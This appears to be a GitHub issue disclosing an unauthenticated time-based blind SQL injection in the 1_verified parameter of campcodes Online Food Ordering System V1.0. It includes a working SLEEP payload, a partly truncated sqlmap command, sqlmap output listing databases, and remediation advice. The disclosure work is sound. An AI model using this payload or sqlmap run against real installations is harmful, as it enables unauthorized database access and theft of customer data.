

New issue



campcodes Online Food Ordering System V1.0 /routers/user-router.php SQL injection #9

Open



wyl091256 opened 2 weeks ago



campcodes Online Food Ordering System V1.0 /routers/user-router.php SQL injection

NAME OF AFFECTED PRODUCT(S)

- Online Food Ordering System

Vendor Homepage

- <https://www.campcodes.com/downloads/online-food-ordering-system-using-php-mysqli/>

AFFECTED AND/OR FIXED VERSION(S)add-item.php

submitter

- WangYilin

Vulnerable File

- /routers/user-router.php

VERSION(S)

- V1.0

Software Link

- <https://www.campcodes.com/downloads/online-food-ordering-system-using-php-mysqli/?wpdmdl=5818&ind=0>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/routers/user-router.php' file of the 'Online Food Ordering System' project. The reason for this issue is that attackers inject malicious code from the parameter 't1_verified' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Online Food Ordering System", I discovered a critical SQL injection vulnerability in the "/routers/user-router.php" file. This vulnerability stems from insufficient user input validation of the 't1_verified' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Location:

- 't1_verified' parameter

Payload:

Parameter: 1_verified (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: 1_role=Administrator&1_verified=1' AND (SELECT 6831 FROM (SELECT(SLEEP(5)))Vayv) A



The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

sqlmap -u "http://172.20.10.2/foodordering/routers/user-router.php" -data="1_role=Ad t



```
---
Parameter: 1_verified (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: 1_role=Administrator&1_verified=1' AND (SELECT 6831 FROM (SELECT(SLEEP(5)))Vayv) AND 'PkrL'='PkrL&1_deleted=0&1_balance=3430&2_role=Customer&2_verified=1&2_deleted=0&2_balance=1850&3_role=Customer&3_verified=1&3_deleted=0&3_balance=1585&4_role=Customer&4_verified=0&4_deleted=0&4_balance=2000&5_role=Customer&5_verified=0&5_deleted=1&5_balance=2000&6_role=Customer&6_verified=0&6_deleted=0&6_balance=2000&action=
---
[15:50:47] [INFO] the back-end DBMS is MySQL
[15:50:47] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web application technology: Apache 2.4.41, PHP 5.5.38
back-end DBMS: MySQL >= 5.0.12
[15:50:47] [INFO] fetching database names
[15:50:47] [INFO] fetching number of databases
[15:50:47] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[15:51:56] [CRITICAL] unable to connect to the target URL ('Invalid argument'). sqlmap is going to retry the request(s)
2
[15:52:01] [INFO] retrieved:
[15:52:06] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[15:53:07] [INFO] retrieved: sourcecodester_foodordering
available databases [2]:
[*] information_schema
[*] sourcecodester_foodordering
```

Suggested repair

- 1. Use prepared statements and parameter binding:**
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
- 2. Input validation and filtering:**
Strictly validate and filter user input data to ensure it conforms to the expected format.
- 3. Minimize database user permissions:**
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin') for daily operations.
- 4. Regular security audits:**
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

[Sign up for free](#) to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development



Code with Copilot Agent Mode



No branches or pull requests

Participants

